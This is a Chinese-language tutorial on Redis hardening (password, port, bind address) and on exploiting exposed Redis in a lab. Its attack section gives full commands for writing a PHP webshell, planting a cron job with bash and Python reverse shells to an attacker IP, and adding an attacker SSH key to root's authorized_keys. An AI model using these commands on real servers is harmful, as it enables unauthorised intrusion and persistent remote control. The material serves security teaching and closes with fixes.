Redis配置及攻击利用

2022-11-17,,,

Redis配置攻击利用

Redis及其安全配置

Redis介绍

redis默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器;redis可以被外部用户每秒尝试150k次密码,这意味着需要高强度的密码;极度BT的可能会重命名redis中的config命令...

Redis常用命令

redis-cli -h 目标IP -p 指定端口 连接redis
FLUASHALL 清除数据库
auth password 使用password登录
save 更新rdb缓存
info 查看版本、服务器信息
set x "Zh1z3ven" 将x键值设为Zh1z3ven
get x 获取key为x的值
KEYS * 查看所有键
CONFIG GET dir 获取默认redis dir
CONFIG GET dbfilename 获取rdb文件名
CONFIG SET dir 重设dir路径
CONFIG SET dbfilename 重设rdb文件名

Redis配置文件&安全设置

主要分为设置访问密码,修改默认端口,绑定ip。

//设置访问密码
#
# requirepass foobared //设置默认port
# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
port 6379 //设置绑定IP
# By default Redis listens for connections from all the network interfaces
# available on the server. It is possible to listen to just one or multiple
# interfaces using the "bind" configuration directive, followed by one or
# more IP addresses
#
# Examples:
#
# bind 192.168.1.100 10.0.0.1
# bind 127.0.0.1
0x01 开启密码访问设置
#
requirepass 123456

此时通过未授权的方式无法正常登录

使用密码登录的两种姿势

# 0x01
redis-cli -h 192.168.124.153 -p 6380
ip:port>auth password # 0x02
redis-cli -h 192.168.124.153 -p 6380 -a password
0x02 修改默认端口

默认绑定在6379 可以在配置文件redis.cong中修改

修改为6380,重启redis

# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
port 6380

0x03 修改绑定IP

在这里通常会有一个认知误区,就是这个绑定IP不是绑定外来访问的地址(比如公网ip或同段内网ip)而是绑定自己服务器允许作为与外部进行连接的ip地址比如环回ip,内网ip,外网ip;绑定0.0.0.0的话就是绑定自己服务器全部的ip,那绑定自己外网ip和0.0.0.0是没什么区别的,在没有高强度密码保护的情况下很不安全。

绑定回环ip

回环ip可连接,同段ip已无法访问

设置绑定内网ip

ps:如果想要确保redis安全,还是需要高强度密码+合适的bind ip且最好不要暴露在外网

redis的攻击利用

写入webshell

前提条件

1.可连接redis(未授权或弱口令)并执行redis指令
2.开了web服务器,并且知道路径,还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

利用过程

注意写入webshell的时候在一句话两边加上/r/n的换行符,因为用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

192.168.124.153:6379> config set dir /var/www/html
OK
192.168.124.153:6379> config set dbfilename shell.php
OK
192.168.124.153:6379> set webshell "\r\n\r\n<?php phpinfo() ?>/r/n/r/n"
OK
192.168.124.153:6379>

观察靶机已成功写入

利用计划任务反弹shell

反弹shell还是要根据实际情况来,比如ubuntu和centos反弹的命令会有区别,一般是因为sh软链接指向的是dash还是bash,一般反弹shell是bash,而dash的shell只有运行脚本的能力没有交互能力所以反弹ubuntu的shell可能需要换脚本.

参考文章:https://blog.csdn.net/sdb5858874/article/details/81837440

攻击机监听端口

nc -lvvp 22222

redis写入反弹shell的计划任务

每分钟反弹一次shell

192.168.124.153:6379> set xxx "\r\n\r\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.124.141/22222 0>&1\n\r\n\r"
OK
192.168.124.153:6379> config set dir /var/spool/cron
OK
192.168.124.153:6379> config set dbfilename root
OK
192.168.124.153:6379> save
OK
192.168.124.153:6379>

python版本

*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

导入ssh私钥远程登录

当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

利用过程

生成ssh私钥

root@kali:~/.ssh# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:4VEO6Gjtb4l0aSNyPFzhNzjXwLJ2g8x2/JoP27KVpuM root@kali
The key's randomart image is:
+---[RSA 3072]----+
| .... |
| . o+o |
| + +oB.o |
| o o.%oO . |
| . + +SB + |
| . O = .. |
| + B o.o+ |
| . + =B |
| . .E=o |
+----[SHA256]-----+
root@kali:~/.ssh# ls
1.txt id_rsa id_rsa.bak id_rsa.pub known_hosts

将新生成的id_rsa保存在redis.txt文件中

root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redis.txt
root@kali:~/.ssh# ls
1.txt id_rsa id_rsa.bak id_rsa.pub known_hosts redis.txt

将保存的redis.txt写入redis

cat ~/.ssh/redis.txt | redis-cli -h 192.168.124.153 -p 6380 -a 123456 -x set crack

登录redis查看私钥是否写入,并将路径改为/root/.ssh

192.168.124.153:6380> flushall
OK
192.168.124.153:6380> config set dir /home/root/.ssh
OK
192.168.124.153:6380> config set dbfilename authorized_keys
OK
192.168.124.153:6380> cat redis.txt | redis-cli -h 192.168.124.153 -x set crack
(error) ERR unknown command 'cat'
192.168.124.153:6380> get crack
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB6GBUIZ5ftcFpS4Twkk9NTsp77/uZZDMRomxAF66aCux2QOL/0WAuZXZho62lxJVI0AL+MSkbcJznsyR/ZONTDzKHu6hXaq6IohWQ78dvOLcGmPUqUVptn0Ed5Bx4VGk2o6yKoSTWVzfgzRWgGsodA4e8lGNAz+cdM9I6ot+l4quiGD6AgrepSRmQBCbPEyVyVAZtYOqSieVXyFGtIr26C3uutemyzYtG9hVSjdcNNFGNRa3ZOn0W2zRirQh+PI4/lZGP2rT8Dilh1qv2ntlXZ0F8Dh/wAxTR1CquhUst9V89ilbOW/tPDg4oDTqL3H9uuyajhQw/nl8uqAmcKGDsoUUSBg+DUnXEFLgQqvsmwFC5LkV1hF4+JGiYgFPb2wd7x0+eRnCC7s7QaodFXqlYmcdqQK6rDTUMVVx3n9uZ2asemYYr6V1lpFW17QMwh1lBNwHGTl8xRiE4DQXp0Bpk2/jYF+5CP2k1Dwz0Fd+rNYH8/hACf1/8ZFjj1IJ+MRk= root@kali\n\n\n\n"
192.168.124.153:6380> save
OK

ssh

ssh -i id_rsa root@192.168.124.153

修复建议

1、设置bind ip

2、开启访问密码认证

3、修改默认端口

4、做好acl访问控制,redis服务不要暴露在外网

Redis配置及攻击利用的相关教程结束。

《Redis配置及攻击利用.doc》

下载本文的Word格式文档,以方便收藏与打印。